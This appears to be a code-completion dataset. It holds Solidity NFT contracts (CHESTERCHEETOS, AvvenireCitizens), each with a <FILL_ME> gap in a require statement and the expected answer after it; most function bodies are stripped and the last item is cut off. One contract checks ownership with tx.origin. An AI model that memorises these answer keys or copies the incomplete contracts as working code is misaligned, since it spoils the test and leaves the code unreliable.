/*** ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▓▓█▓█▒░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▓█▓▒▒▒▓█░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒██▓▒▒▒▒▒██▓▓▓▒░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▓▓░░░░░░░░░░░░░░░▒▓▓▓▓▓▓██▓▒▒░▒▒▒▓▒▒▒██░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░▒▓████▒▒████▒░░░░░░▒░░░░▒▓██▓▒▒▒▒▒▓▓██▓░▒▒▒▒▒▒▓███▓▓▓▓▒░░▒▓▓▓▓▓▓▓▒░░░░░░ ░░░░░░░░░░░░░░▒▓███▓▒▒████▓▒▒█▒░░▒▓████████▓▒▒▒▒▒▒▒▒▒▒▓█▒░▒▒▒▒▓▓▓▒▒▒▒▒▒▒████▓▓▒▒▒▒▒▓██▓░░░ ░░░░░░░░░░░░▓██▓▒▒░░░▓██▒▒░▒▓█░▓██▓▒▒▒▒▒▒▓█▓▒░▒▒▒▒▒░▒░▒▓░▒▒▒▓█▓▒▒▒▒▒▒▒▒▒░▓▓▒▒░▒▒▒▒▒▒▓█▒░░░ ░░░░░░░░░▒██▓▒░░▒▒▒░▒▓▒░▒▒▒▓████▓▒▒▒▒▒▒▒▒▒▓▒░▒▒▓▓██▒▒░▒▒▒▒▒▒██▒▒▒░▒▓▓▒▒▒▒░░▒▒▒▒▒▒▒▒▓█▒░░░░ ░░░░░░░░▓██▒░▒▒▒▒▒▒░▒▒▒░▒▒▒▓████▓░▒▒▓▓▓░▒░▓▒▒▒▒▒▓▓▒▒▒▒▓▒▒▒▒▓█▓▒▒▒▒▓███▓░▒▒▒▒▒▒▓█████▒░░░░░ ░░░░░░▒██▓░▒▒▒▒▒▒▒▒░▓▓░░▒▒▒▓█▓██▒▒▒▒▒▓▓▒▒▒▓▒▒▒░▒▒▒▒▒▒█▓▒▒▒▒██▓░▒▒▓████▓▒▒▒▒▒▒▒▒▒▓██▒░▒▒░░░ ░░░░░▓██▒▒▒▒▒▒▒▒▒▒▒▓█▓░▒▒▒▒▒░░▒▓▒▒░▒▒▒▒▒▓█▓▒▒▒░▒█████▓▓▓▒▒░▓█▓░▒▒▒███▓▒▒▒▓██▓▒▒▒▒▓██░░░░░░ ░░░░▓██▓▓▒░▒▒▒▒▒▒▓███▓░▒▒▒▒▒▒▒▒▒▓▒▒▒▓█████▓▓▒▒▒▒▒▒▓▒▒▒▓▓▒▒▒▒▒▒░▒▒▒▒▒▒▒▒▒▒▒▓██▓▒▒▒▒██▓░░░░░ ░░░▒████▓░▒▒▒▒▒▓▓████▒▒▒▒▒▒▓▒▒▒▒▓▓▒▒▒▒▒▒▒▒▓█▓▒▒▒▒▒▒▒▒▓██▓▒▒▒▒▒▓▓▓▒▒▒▒▒▓▓▒▒▒▒▒▒▒▒▒▓██▒░░░░░ ░░░▓▓██▓░▒▒▒▒▒▓██████▓▒▒▒▒▓█▓▒▒░▓█▓▒▒▒▒▒▒▓█████▓▓▓▓▓███▓█████████████████▒▒▒▒▒▒▓███░░░░░░░ ░░░░▒██▒░▒▒▒▒▓███████▓▒▒▒▒███▒▒░▓█████▓████▓░▒▓▓██▓▓▒░░░░▒▒▒▒▒░░░▒▒▒▒░░░▓████████▒░░░░░░░░ ░░░░▒█▓░▒▒▒▒▒▓███████▓▒▒▒▒▓██▒▒▒▒▓███▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒░░░░░░░░░░░░ ░░░░▓█▓░▒▒▒░▒████████▓░▒▒▒▓██▒▒▓██▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░▓█▓▒▒▒▒░▒▓████████▒░▒▒▒█████▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░▓█▓▒▒▒▒▒░▒▓██████▓░▒▒▒▓███▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░▒██▓▒▒▒▒▒▒░▒▒▒▒▒▒▒▒▒▒▓██▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░▓██▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓███▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░▒███▓▓▓▒▒▒▒▒▒▓▓▓███▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░▒▓████████████▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ***/ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "./ERC721A.sol"; import "Ownable.sol"; contract CHESTERCHEETOS is ERC721A, Ownable { uint256 MAX_MINTS = 3; uint256 MAX_SUPPLY = 1986; uint256 public mintRate = 0 ether; bool public paused = true; constructor() ERC721A("CHESTER", "CHESTER") {} function mint(address _to, uint256 _mintamount) public { require(!paused); require(<FILL_ME>) require(totalSupply() + _mintamount <= MAX_SUPPLY, "Not enough tokens left"); _safeMint(_to, _mintamount); } // @dev Token URI management string private _baseTokenURI; function setBaseURI(string calldata baseURI) external onlyOwner { } function _baseURI() internal view virtual override returns (string memory) { } // @dev Start/Pause the contract function pause(bool _state) public onlyOwner { } // @dev use it for giveaway to influencers function gift(uint256 _mintamount, address _to) public onlyOwner { } }
_mintamount+_numberMinted(msg.sender)<=MAX_MINTS,"Exceeded the limit"
98,912
_mintamount+_numberMinted(msg.sender)<=MAX_MINTS
"Not enough tokens left"
/*** ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▓▓█▓█▒░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▓█▓▒▒▒▓█░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒██▓▒▒▒▒▒██▓▓▓▒░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▓▓░░░░░░░░░░░░░░░▒▓▓▓▓▓▓██▓▒▒░▒▒▒▓▒▒▒██░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░▒▓████▒▒████▒░░░░░░▒░░░░▒▓██▓▒▒▒▒▒▓▓██▓░▒▒▒▒▒▒▓███▓▓▓▓▒░░▒▓▓▓▓▓▓▓▒░░░░░░ ░░░░░░░░░░░░░░▒▓███▓▒▒████▓▒▒█▒░░▒▓████████▓▒▒▒▒▒▒▒▒▒▒▓█▒░▒▒▒▒▓▓▓▒▒▒▒▒▒▒████▓▓▒▒▒▒▒▓██▓░░░ ░░░░░░░░░░░░▓██▓▒▒░░░▓██▒▒░▒▓█░▓██▓▒▒▒▒▒▒▓█▓▒░▒▒▒▒▒░▒░▒▓░▒▒▒▓█▓▒▒▒▒▒▒▒▒▒░▓▓▒▒░▒▒▒▒▒▒▓█▒░░░ ░░░░░░░░░▒██▓▒░░▒▒▒░▒▓▒░▒▒▒▓████▓▒▒▒▒▒▒▒▒▒▓▒░▒▒▓▓██▒▒░▒▒▒▒▒▒██▒▒▒░▒▓▓▒▒▒▒░░▒▒▒▒▒▒▒▒▓█▒░░░░ ░░░░░░░░▓██▒░▒▒▒▒▒▒░▒▒▒░▒▒▒▓████▓░▒▒▓▓▓░▒░▓▒▒▒▒▒▓▓▒▒▒▒▓▒▒▒▒▓█▓▒▒▒▒▓███▓░▒▒▒▒▒▒▓█████▒░░░░░ ░░░░░░▒██▓░▒▒▒▒▒▒▒▒░▓▓░░▒▒▒▓█▓██▒▒▒▒▒▓▓▒▒▒▓▒▒▒░▒▒▒▒▒▒█▓▒▒▒▒██▓░▒▒▓████▓▒▒▒▒▒▒▒▒▒▓██▒░▒▒░░░ ░░░░░▓██▒▒▒▒▒▒▒▒▒▒▒▓█▓░▒▒▒▒▒░░▒▓▒▒░▒▒▒▒▒▓█▓▒▒▒░▒█████▓▓▓▒▒░▓█▓░▒▒▒███▓▒▒▒▓██▓▒▒▒▒▓██░░░░░░ ░░░░▓██▓▓▒░▒▒▒▒▒▒▓███▓░▒▒▒▒▒▒▒▒▒▓▒▒▒▓█████▓▓▒▒▒▒▒▒▓▒▒▒▓▓▒▒▒▒▒▒░▒▒▒▒▒▒▒▒▒▒▒▓██▓▒▒▒▒██▓░░░░░ ░░░▒████▓░▒▒▒▒▒▓▓████▒▒▒▒▒▒▓▒▒▒▒▓▓▒▒▒▒▒▒▒▒▓█▓▒▒▒▒▒▒▒▒▓██▓▒▒▒▒▒▓▓▓▒▒▒▒▒▓▓▒▒▒▒▒▒▒▒▒▓██▒░░░░░ ░░░▓▓██▓░▒▒▒▒▒▓██████▓▒▒▒▒▓█▓▒▒░▓█▓▒▒▒▒▒▒▓█████▓▓▓▓▓███▓█████████████████▒▒▒▒▒▒▓███░░░░░░░ ░░░░▒██▒░▒▒▒▒▓███████▓▒▒▒▒███▒▒░▓█████▓████▓░▒▓▓██▓▓▒░░░░▒▒▒▒▒░░░▒▒▒▒░░░▓████████▒░░░░░░░░ ░░░░▒█▓░▒▒▒▒▒▓███████▓▒▒▒▒▓██▒▒▒▒▓███▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒░░░░░░░░░░░░ ░░░░▓█▓░▒▒▒░▒████████▓░▒▒▒▓██▒▒▓██▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░▓█▓▒▒▒▒░▒▓████████▒░▒▒▒█████▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░▓█▓▒▒▒▒▒░▒▓██████▓░▒▒▒▓███▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░▒██▓▒▒▒▒▒▒░▒▒▒▒▒▒▒▒▒▒▓██▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░▓██▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓███▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░▒███▓▓▓▒▒▒▒▒▒▓▓▓███▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░▒▓████████████▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ***/ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "./ERC721A.sol"; import "Ownable.sol"; contract CHESTERCHEETOS is ERC721A, Ownable { uint256 MAX_MINTS = 3; uint256 MAX_SUPPLY = 1986; uint256 public mintRate = 0 ether; bool public paused = true; constructor() ERC721A("CHESTER", "CHESTER") {} function mint(address _to, uint256 _mintamount) public { require(!paused); require(_mintamount + _numberMinted(msg.sender) <= MAX_MINTS, "Exceeded the limit"); require(<FILL_ME>) _safeMint(_to, _mintamount); } // @dev Token URI management string private _baseTokenURI; function setBaseURI(string calldata baseURI) external onlyOwner { } function _baseURI() internal view virtual override returns (string memory) { } // @dev Start/Pause the contract function pause(bool _state) public onlyOwner { } // @dev use it for giveaway to influencers function gift(uint256 _mintamount, address _to) public onlyOwner { } }
totalSupply()+_mintamount<=MAX_SUPPLY,"Not enough tokens left"
98,912
totalSupply()+_mintamount<=MAX_SUPPLY
"max NFT limit exceeded"
/*** ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▓▓█▓█▒░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▓█▓▒▒▒▓█░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒██▓▒▒▒▒▒██▓▓▓▒░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▓▓░░░░░░░░░░░░░░░▒▓▓▓▓▓▓██▓▒▒░▒▒▒▓▒▒▒██░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░░░░░░░▒▓████▒▒████▒░░░░░░▒░░░░▒▓██▓▒▒▒▒▒▓▓██▓░▒▒▒▒▒▒▓███▓▓▓▓▒░░▒▓▓▓▓▓▓▓▒░░░░░░ ░░░░░░░░░░░░░░▒▓███▓▒▒████▓▒▒█▒░░▒▓████████▓▒▒▒▒▒▒▒▒▒▒▓█▒░▒▒▒▒▓▓▓▒▒▒▒▒▒▒████▓▓▒▒▒▒▒▓██▓░░░ ░░░░░░░░░░░░▓██▓▒▒░░░▓██▒▒░▒▓█░▓██▓▒▒▒▒▒▒▓█▓▒░▒▒▒▒▒░▒░▒▓░▒▒▒▓█▓▒▒▒▒▒▒▒▒▒░▓▓▒▒░▒▒▒▒▒▒▓█▒░░░ ░░░░░░░░░▒██▓▒░░▒▒▒░▒▓▒░▒▒▒▓████▓▒▒▒▒▒▒▒▒▒▓▒░▒▒▓▓██▒▒░▒▒▒▒▒▒██▒▒▒░▒▓▓▒▒▒▒░░▒▒▒▒▒▒▒▒▓█▒░░░░ ░░░░░░░░▓██▒░▒▒▒▒▒▒░▒▒▒░▒▒▒▓████▓░▒▒▓▓▓░▒░▓▒▒▒▒▒▓▓▒▒▒▒▓▒▒▒▒▓█▓▒▒▒▒▓███▓░▒▒▒▒▒▒▓█████▒░░░░░ ░░░░░░▒██▓░▒▒▒▒▒▒▒▒░▓▓░░▒▒▒▓█▓██▒▒▒▒▒▓▓▒▒▒▓▒▒▒░▒▒▒▒▒▒█▓▒▒▒▒██▓░▒▒▓████▓▒▒▒▒▒▒▒▒▒▓██▒░▒▒░░░ ░░░░░▓██▒▒▒▒▒▒▒▒▒▒▒▓█▓░▒▒▒▒▒░░▒▓▒▒░▒▒▒▒▒▓█▓▒▒▒░▒█████▓▓▓▒▒░▓█▓░▒▒▒███▓▒▒▒▓██▓▒▒▒▒▓██░░░░░░ ░░░░▓██▓▓▒░▒▒▒▒▒▒▓███▓░▒▒▒▒▒▒▒▒▒▓▒▒▒▓█████▓▓▒▒▒▒▒▒▓▒▒▒▓▓▒▒▒▒▒▒░▒▒▒▒▒▒▒▒▒▒▒▓██▓▒▒▒▒██▓░░░░░ ░░░▒████▓░▒▒▒▒▒▓▓████▒▒▒▒▒▒▓▒▒▒▒▓▓▒▒▒▒▒▒▒▒▓█▓▒▒▒▒▒▒▒▒▓██▓▒▒▒▒▒▓▓▓▒▒▒▒▒▓▓▒▒▒▒▒▒▒▒▒▓██▒░░░░░ ░░░▓▓██▓░▒▒▒▒▒▓██████▓▒▒▒▒▓█▓▒▒░▓█▓▒▒▒▒▒▒▓█████▓▓▓▓▓███▓█████████████████▒▒▒▒▒▒▓███░░░░░░░ ░░░░▒██▒░▒▒▒▒▓███████▓▒▒▒▒███▒▒░▓█████▓████▓░▒▓▓██▓▓▒░░░░▒▒▒▒▒░░░▒▒▒▒░░░▓████████▒░░░░░░░░ ░░░░▒█▓░▒▒▒▒▒▓███████▓▒▒▒▒▓██▒▒▒▒▓███▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒░░░░░░░░░░░░ ░░░░▓█▓░▒▒▒░▒████████▓░▒▒▒▓██▒▒▓██▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░▓█▓▒▒▒▒░▒▓████████▒░▒▒▒█████▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░▓█▓▒▒▒▒▒░▒▓██████▓░▒▒▒▓███▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░▒██▓▒▒▒▒▒▒░▒▒▒▒▒▒▒▒▒▒▓██▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░▓██▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓███▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░▒███▓▓▓▒▒▒▒▒▒▓▓▓███▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░▒▓████████████▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░░░░░░░░░▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ***/ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "./ERC721A.sol"; import "Ownable.sol"; contract CHESTERCHEETOS is ERC721A, Ownable { uint256 MAX_MINTS = 3; uint256 MAX_SUPPLY = 1986; uint256 public mintRate = 0 ether; bool public paused = true; constructor() ERC721A("CHESTER", "CHESTER") {} function mint(address _to, uint256 _mintamount) public { } // @dev Token URI management string private _baseTokenURI; function setBaseURI(string calldata baseURI) external onlyOwner { } function _baseURI() internal view virtual override returns (string memory) { } // @dev Start/Pause the contract function pause(bool _state) public onlyOwner { } // @dev use it for giveaway to influencers function gift(uint256 _mintamount, address _to) public onlyOwner { uint256 supply = totalSupply(); require(<FILL_ME>) _safeMint(_to, _mintamount); } }
supply+_mintamount<=MAX_SUPPLY,"max NFT limit exceeded"
98,912
supply+_mintamount<=MAX_SUPPLY
"Tokens immutable"
// SPDX-License-Identifier: MIT /** * @title Avvenire Citizens Contract */ pragma solidity ^0.8.4; import "AvvenireCitizensInterface.sol"; import "Ownable.sol"; import "ERC721A.sol"; // _setOwnersExplicit( ) moved from the ERC721A contract to an extension import "ERC721AOwnersExplicit.sol"; import "Strings.sol"; import "ReentrancyGuard.sol"; error TraitTypeDoesNotExist(); error TransferFailed(); error ChangeAlreadyRequested(); error NotSender(); // error InsufficcientFunds(); // token mutator changes the way that an ERC721A contract interacts with tokens contract AvvenireCitizens is Ownable, ERC721A, ERC721AOwnersExplicit, ReentrancyGuard, AvvenireCitizensInterface { // events event ChangeRequested(uint256 tokenId, address contractAddress, address sender); event TraitBound(uint256 citizenId, uint256 traitId, TraitType traitType); string baseURI; // a uri for minting, but this allows the contract owner to change it later string public loadURI; // a URI that the NFT will be set to while waiting for changes address payable receivingAddress; // the address that collects the cost of the mutation bool public isStopped; // Data contract AvvenireCitizensMappingsInterface public avvenireCitizensData; // Traits contract AvvenireTraitsInterface public avvenireTraits; // mapping for allowing other contracts to interact with this one mapping(address => bool) private allowedContracts; // Designated # of citizens; **** Needs to be set to immutable following testings **** constructor( string memory ERC721Name_, string memory ERC721AId_, string memory baseURI_, string memory loadURI_, address dataContractAddress_, address traitContractAddress_ ) ERC721A(ERC721Name_, ERC721AId_) Ownable() { } /** Modifier to check if the contract is allowed to call this contract */ modifier callerIsAllowed() { } modifier stoppedInEmergency { } /** * @notice returns the tokenURI of a token id (overrides ERC721 function) * @param tokenId allows the user to request the tokenURI for a particular token id */ function tokenURI(uint256 tokenId) public view override returns (string memory) { } /** * @notice Requests a change for a token * @param tokenId allows the user to request a change using their token id */ function requestChange(uint256 tokenId) external payable callerIsAllowed { // check if you can even request changes at the moment require(<FILL_ME>) // check if the token exists if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); // check that this is the rightful token owner require(ownerOf(tokenId) == tx.origin, "Not owner"); // check if the token has already been requested to change if (avvenireCitizensData.getCitizenChangeRequest(tokenId)) revert ChangeAlreadyRequested(); _requestChange(tokenId); // call the internal function } function _requestChange(uint256 tokenId) internal { } /** * @notice Set the citizen data (id, uri, any traits) * note: can't just set the uri, because we need to set the sex also (after the first combination) * @param citizen allows a contract to set the citizen's uri to a new one * @param changeUpdate sets the change data to the correct boolean (allows the option to set the changes to false after something has been updated OR keep it at true if the update isn't done) */ function setCitizenData(Citizen memory citizen, bool changeUpdate) external callerIsAllowed stoppedInEmergency { } /** * @notice internal function for getting the default trait (mostly for creating new citizens, waste of compute for creating new traits) * @param originCitizenId for backwards ipfs mapping * @param sex for compatibility * @param traitType for compatibility * @param exists for tracking if the trait actually exists */ function baseTrait( uint256 originCitizenId, Sex sex, TraitType traitType, bool exists ) internal returns (Trait memory) { } /** * @notice internal function to create a new citizen * @param tokenId (for binding the token id) */ function createNewCitizen(uint256 tokenId) internal { } /** * @notice internal function to make traits transferrable (used when binding traits) * checks that a trait exists (makes user unable to set a default to a default) * @param traitId for locating the trait * @param exists for if the trait exists */ function _makeTraitTransferable(uint256 traitId, bool exists) internal { } /** * @notice internal function to make traits non-transferrable * checks that a trait exists (makes user unable to set a default to a default) * @param traitId to indicate which trait to change */ function _makeTraitNonTransferrable(uint256 traitId) internal { } /** * @notice a function to bind a tokenId to a citizen (used in combining) * Note: the tokenId must exist, this does not create new tokens (use spawn traits for that) * going to assume that the transaction origin owns the citizen (this function will be called multiple times) * Also, this does not set the character up for changing. It is assumed that many traits will be bound for a character to be changed, so the character should be requested to change once. * @param citizenId gets the citizen * @param traitId for the trait * @param traitType for the trait's type */ function bind( uint256 citizenId, uint256 traitId, Sex sex, TraitType traitType ) external callerIsAllowed stoppedInEmergency { } /** * @notice external safemint function for allowed contracts * @param address_ for where to mint to * @param quantity_ for the amount */ function safeMint(address address_, uint256 quantity_) external callerIsAllowed stoppedInEmergency { } /** * @notice returns the number minted from specified address * @param owner an address of an owner in the NFT collection */ function numberMinted(address owner) public view returns (uint256) { } /** * @notice Returns a struct, which contains a token owner's address and the time they acquired the token * @param tokenId the tokenID */ function getOwnershipData( uint256 tokenId // storing all the old ownership ) external view returns (TokenOwnership memory) { } /** * @notice This overrides the token transfers to check some conditions * @param from indicates the previous address * @param to indicates the new address * @param startTokenId indicates the first token id * @param quantity shows how many tokens have been minted */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal override { } /** * @notice setter for emergency stop */ function setEmergencyStop(bool _isStopped) external onlyOwner { } /** * @notice gets rid of the loops used in the ownerOf function in the ERC721A standard * @param quantity the number of tokens that you want to eliminate the loops for */ function setOwnersExplicit(uint256 quantity) external callerIsAllowed { } /** * @notice function that gets the total supply from the ERC721A contract */ function getTotalSupply() external view returns (uint256) { } /** * @notice Sets the mint uri * @param baseURI_ represents the new base uri */ function setBaseURI(string calldata baseURI_) external onlyOwner { } /** * @notice Sets the load uri * @param loadURI_ represents the new load uri */ function setLoadURI(string calldata loadURI_) external onlyOwner { } /** * @notice Sets the receivingAddress * @param receivingAddress_ is the new receiving address */ function setReceivingAddress(address receivingAddress_) external onlyOwner { } /** * @notice sets an address's allowed list permission (for future interaction) * @param address_ is the address to set the data for * @param setting is the boolean for the data */ function setAllowedPermission(address address_, bool setting) external onlyOwner { } /** * @notice function to withdraw the money from the contract. Only callable by the owner */ function withdrawMoney() external onlyOwner nonReentrant { } /** * @notice getter function for citizen data * @param tokenId the citizen's id */ function getCitizen(uint256 tokenId) external view returns (Citizen memory) { } /** * @notice a burn function to burn an nft. The tx.origin must be the owner * @param tokenId the desired token to be burned */ function burn(uint256 tokenId) external callerIsAllowed { } /** * @notice getter function for number of tokens that a user has burned * @param _owner the user's address */ function numberBurned(address _owner) external view returns (uint256) { } } // End of contract
avvenireCitizensData.getMutabilityMode(),"Tokens immutable"
98,913
avvenireCitizensData.getMutabilityMode()
"Not owner"
// SPDX-License-Identifier: MIT /** * @title Avvenire Citizens Contract */ pragma solidity ^0.8.4; import "AvvenireCitizensInterface.sol"; import "Ownable.sol"; import "ERC721A.sol"; // _setOwnersExplicit( ) moved from the ERC721A contract to an extension import "ERC721AOwnersExplicit.sol"; import "Strings.sol"; import "ReentrancyGuard.sol"; error TraitTypeDoesNotExist(); error TransferFailed(); error ChangeAlreadyRequested(); error NotSender(); // error InsufficcientFunds(); // token mutator changes the way that an ERC721A contract interacts with tokens contract AvvenireCitizens is Ownable, ERC721A, ERC721AOwnersExplicit, ReentrancyGuard, AvvenireCitizensInterface { // events event ChangeRequested(uint256 tokenId, address contractAddress, address sender); event TraitBound(uint256 citizenId, uint256 traitId, TraitType traitType); string baseURI; // a uri for minting, but this allows the contract owner to change it later string public loadURI; // a URI that the NFT will be set to while waiting for changes address payable receivingAddress; // the address that collects the cost of the mutation bool public isStopped; // Data contract AvvenireCitizensMappingsInterface public avvenireCitizensData; // Traits contract AvvenireTraitsInterface public avvenireTraits; // mapping for allowing other contracts to interact with this one mapping(address => bool) private allowedContracts; // Designated # of citizens; **** Needs to be set to immutable following testings **** constructor( string memory ERC721Name_, string memory ERC721AId_, string memory baseURI_, string memory loadURI_, address dataContractAddress_, address traitContractAddress_ ) ERC721A(ERC721Name_, ERC721AId_) Ownable() { } /** Modifier to check if the contract is allowed to call this contract */ modifier callerIsAllowed() { } modifier stoppedInEmergency { } /** * @notice returns the tokenURI of a token id (overrides ERC721 function) * @param tokenId allows the user to request the tokenURI for a particular token id */ function tokenURI(uint256 tokenId) public view override returns (string memory) { } /** * @notice Requests a change for a token * @param tokenId allows the user to request a change using their token id */ function requestChange(uint256 tokenId) external payable callerIsAllowed { // check if you can even request changes at the moment require(avvenireCitizensData.getMutabilityMode(), "Tokens immutable"); // check if the token exists if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); // check that this is the rightful token owner require(<FILL_ME>) // check if the token has already been requested to change if (avvenireCitizensData.getCitizenChangeRequest(tokenId)) revert ChangeAlreadyRequested(); _requestChange(tokenId); // call the internal function } function _requestChange(uint256 tokenId) internal { } /** * @notice Set the citizen data (id, uri, any traits) * note: can't just set the uri, because we need to set the sex also (after the first combination) * @param citizen allows a contract to set the citizen's uri to a new one * @param changeUpdate sets the change data to the correct boolean (allows the option to set the changes to false after something has been updated OR keep it at true if the update isn't done) */ function setCitizenData(Citizen memory citizen, bool changeUpdate) external callerIsAllowed stoppedInEmergency { } /** * @notice internal function for getting the default trait (mostly for creating new citizens, waste of compute for creating new traits) * @param originCitizenId for backwards ipfs mapping * @param sex for compatibility * @param traitType for compatibility * @param exists for tracking if the trait actually exists */ function baseTrait( uint256 originCitizenId, Sex sex, TraitType traitType, bool exists ) internal returns (Trait memory) { } /** * @notice internal function to create a new citizen * @param tokenId (for binding the token id) */ function createNewCitizen(uint256 tokenId) internal { } /** * @notice internal function to make traits transferrable (used when binding traits) * checks that a trait exists (makes user unable to set a default to a default) * @param traitId for locating the trait * @param exists for if the trait exists */ function _makeTraitTransferable(uint256 traitId, bool exists) internal { } /** * @notice internal function to make traits non-transferrable * checks that a trait exists (makes user unable to set a default to a default) * @param traitId to indicate which trait to change */ function _makeTraitNonTransferrable(uint256 traitId) internal { } /** * @notice a function to bind a tokenId to a citizen (used in combining) * Note: the tokenId must exist, this does not create new tokens (use spawn traits for that) * going to assume that the transaction 